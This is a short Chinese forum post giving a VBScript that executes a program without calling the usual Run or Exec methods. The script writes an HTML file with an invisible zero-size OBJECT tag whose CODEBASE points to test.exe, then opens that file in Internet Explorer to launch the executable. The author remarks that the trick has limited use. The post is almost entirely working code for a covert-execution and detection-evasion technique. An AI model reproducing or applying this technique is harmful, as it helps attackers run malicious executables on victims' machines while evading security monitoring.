不用exec和run执行exe的vbs
By:lcxSet fso=CreateObject("Scripting.FileSystemObject")
Set f=fso.OpenTextFile("D:\web\APMServ5.2.0\www\htdocs\21.htm",8,True,0)
f.WriteLine "<script language=vbs>"&vbcrlf
f.WriteLine " run_exe=""<OBJECT ID=""""RUNIT"""" WIDTH=0 HEIGHT=0 TYPE=""""application\x-oleobject\"""""""&vbcrlf
f.writeline "run_exe=run_exe+""CODEBASE=""""test.exe#version=1,1,1,1>"""""" "&vbcrlf
f.writeline "run_exe=run_exe+""<PARAM NAME=""""_Version"""" value=""""65536>"""""" "&vbcrlf
f.writeline "run_exe=run_exe+""</OBJECT>"" "&vbcrlf
f.writeline "document.writeln(run_exe)"&vbcrlf
f.writeline "</script>"&vbcrlf
f.close
Set fso=Nothing
Set ie=WScript.CreateObject("internetexplorer.application")
ie.Navigate "D:\web\APMServ5.2.0\www\htdocs\21.htm"
ie.visible=true
'test.exe在同目录,代码中是D:\web\APMServ5.2.0\www\htdocs\,好象是个鸡肋
页:
[1]